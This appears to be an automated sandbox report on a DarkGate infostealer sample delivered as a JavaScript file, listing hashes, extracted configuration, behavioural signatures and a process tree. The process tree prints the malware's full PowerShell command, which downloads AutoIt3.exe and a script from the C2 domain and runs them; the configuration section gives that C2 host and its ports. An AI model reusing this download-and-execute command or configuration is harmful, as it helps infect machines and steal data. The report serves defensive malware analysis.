Resubmissions

03-11-2023 18:55

231103-xkzz1sah53 10

03-11-2023 18:43

231103-xczz2sge6z 10

03-11-2023 18:17

231103-ww7nkaga8x 10

Analysis

  • max time kernel
    434s
  • max time network
    439s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231025-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231025-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-11-2023 18:55

General

  • Target

    GGGGGElicnse.js

  • Size

    253KB

  • MD5

    bb897b6af926de14bba7e9752318061a

  • SHA1

    2dbd55f9cedb96553a18cb863e27b8d608cce40c

  • SHA256

    ae0f7106f8b0e11c5526a8f1326c4705266a24cc933b5caa4dca735692cd959f

  • SHA512

    9c0e544f9748339b1c6e480468f8d8fde1601ba9c2bf9c17c1d5858f640dc197ebd2dc93a78f3cb525f7bc8887ba45eb678e2dbbd52a3f9dbd65ae543672d09b

  • SSDEEP

    6144:de7hgXeerjqlI2Iro+W8Bne7hgXeerjqlI2Iro+8:dIhgSlI23J8pIhgSlI23V

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

C2

http://showmoreresultonliner.com

Attributes
  • alternative_c2_port

    8080

  • anti_analysis

    true

  • anti_debug

    true

  • anti_vm

    true

  • c2_port

    2351

  • check_disk

    true

  • check_ram

    true

  • check_xeon

    false

  • crypter_au3

    false

  • crypter_dll

    false

  • crypter_rawstub

    true

  • crypto_key

    DDfcMjFaEKfNOW

  • internal_mutex

    txtMut

  • minimum_disk

    60

  • minimum_ram

    6000

  • ping_interval

    4

  • rootkit

    true

  • startup_persistence

    true

  • username

    user_871236672

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\GGGGGElicnse.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://showmoreresultonliner.com:2351/msiyfjjdsnw' -OutFile 'yfjjdsnw.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'yfjjdsnw.au3'"; Stop-Process -Name "WScript"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2372
      • C:\tepp\AutoIt3.exe
        "C:\tepp\AutoIt3.exe" yfjjdsnw.au3
        3⤵
        • Executes dropped EXE
        • Checks processor information in registry
        PID:4984
  • C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" "C:\Windows\SYSTEM32\EDGEHTML.dll",#141 Microsoft.VCLibs.140.00_8wekyb3d8bbwe
    1⤵
      PID:2920
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k UnistackSvcGroup
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1496

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_phllkzjq.ogj.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\tepp\AutoIt3.exe

      Filesize

      872KB

      MD5

      c56b5f0201a3b3de53e561fe76912bfd

      SHA1

      2a4062e10a5de813f5688221dbeb3f3ff33eb417

      SHA256

      237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

      SHA512

      195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

    • C:\tepp\AutoIt3.exe

      Filesize

      872KB

      MD5

      c56b5f0201a3b3de53e561fe76912bfd

      SHA1

      2a4062e10a5de813f5688221dbeb3f3ff33eb417

      SHA256

      237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

      SHA512

      195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

    • C:\tepp\yfjjdsnw.au3

      Filesize

      500KB

      MD5

      fe9e5fe5f346caa35bed17f44ae01aae

      SHA1

      aa5229f252f7a27ab39838dcea732c5a622ccfe7

      SHA256

      dff942a5e4e09480637208b09ee7ff4c6c4531981dc4f122baa29a63dd6fba66

      SHA512

      d52721bdf642ac9c26408102a19e22b7e9bc7efcdb15b9b66df646bacdb59001a0a5cc37ff5d8137e933a5c32367f4bcc8c2817c333ef19f5734711b683c8523

    • memory/1496-69-0x00000160A6A40000-0x00000160A6A41000-memory.dmp

      Filesize

      4KB

    • memory/1496-80-0x00000160A6670000-0x00000160A6671000-memory.dmp

      Filesize

      4KB

    • memory/1496-104-0x00000160A68D0000-0x00000160A68D1000-memory.dmp

      Filesize

      4KB

    • memory/1496-103-0x00000160A67C0000-0x00000160A67C1000-memory.dmp

      Filesize

      4KB

    • memory/1496-102-0x00000160A67C0000-0x00000160A67C1000-memory.dmp

      Filesize

      4KB

    • memory/1496-100-0x00000160A67B0000-0x00000160A67B1000-memory.dmp

      Filesize

      4KB

    • memory/1496-88-0x00000160A65B0000-0x00000160A65B1000-memory.dmp

      Filesize

      4KB

    • memory/1496-85-0x00000160A6670000-0x00000160A6671000-memory.dmp

      Filesize

      4KB

    • memory/1496-82-0x00000160A6680000-0x00000160A6681000-memory.dmp

      Filesize

      4KB

    • memory/1496-79-0x00000160A6680000-0x00000160A6681000-memory.dmp

      Filesize

      4KB

    • memory/1496-78-0x00000160A6A50000-0x00000160A6A51000-memory.dmp

      Filesize

      4KB

    • memory/1496-77-0x00000160A6A50000-0x00000160A6A51000-memory.dmp

      Filesize

      4KB

    • memory/1496-52-0x000001609E440000-0x000001609E450000-memory.dmp

      Filesize

      64KB

    • memory/1496-68-0x00000160A6A30000-0x00000160A6A31000-memory.dmp

      Filesize

      4KB

    • memory/1496-76-0x00000160A6A50000-0x00000160A6A51000-memory.dmp

      Filesize

      4KB

    • memory/1496-70-0x00000160A6A40000-0x00000160A6A41000-memory.dmp

      Filesize

      4KB

    • memory/1496-71-0x00000160A6A40000-0x00000160A6A41000-memory.dmp

      Filesize

      4KB

    • memory/1496-72-0x00000160A6A40000-0x00000160A6A41000-memory.dmp

      Filesize

      4KB

    • memory/1496-73-0x00000160A6A40000-0x00000160A6A41000-memory.dmp

      Filesize

      4KB

    • memory/1496-74-0x00000160A6A40000-0x00000160A6A41000-memory.dmp

      Filesize

      4KB

    • memory/1496-75-0x00000160A6A40000-0x00000160A6A41000-memory.dmp

      Filesize

      4KB

    • memory/2372-5-0x00000206AEAF0000-0x00000206AEB12000-memory.dmp

      Filesize

      136KB

    • memory/2372-13-0x0000020696640000-0x0000020696650000-memory.dmp

      Filesize

      64KB

    • memory/2372-10-0x00007FFCE2E30000-0x00007FFCE38F1000-memory.dmp

      Filesize

      10.8MB

    • memory/2372-30-0x00007FFCE2E30000-0x00007FFCE38F1000-memory.dmp

      Filesize

      10.8MB

    • memory/2372-11-0x0000020696640000-0x0000020696650000-memory.dmp

      Filesize

      64KB

    • memory/2372-12-0x0000020696640000-0x0000020696650000-memory.dmp

      Filesize

      64KB

    • memory/2372-16-0x0000020696640000-0x0000020696650000-memory.dmp

      Filesize

      64KB

    • memory/2372-15-0x0000020696640000-0x0000020696650000-memory.dmp

      Filesize

      64KB

    • memory/2372-14-0x00007FFCE2E30000-0x00007FFCE38F1000-memory.dmp

      Filesize

      10.8MB

    • memory/4984-35-0x00000000046D0000-0x00000000049FA000-memory.dmp

      Filesize

      3.2MB

    • memory/4984-34-0x00000000046D0000-0x00000000049FA000-memory.dmp

      Filesize

      3.2MB

    • memory/4984-33-0x00000000013C0000-0x00000000017C0000-memory.dmp

      Filesize

      4.0MB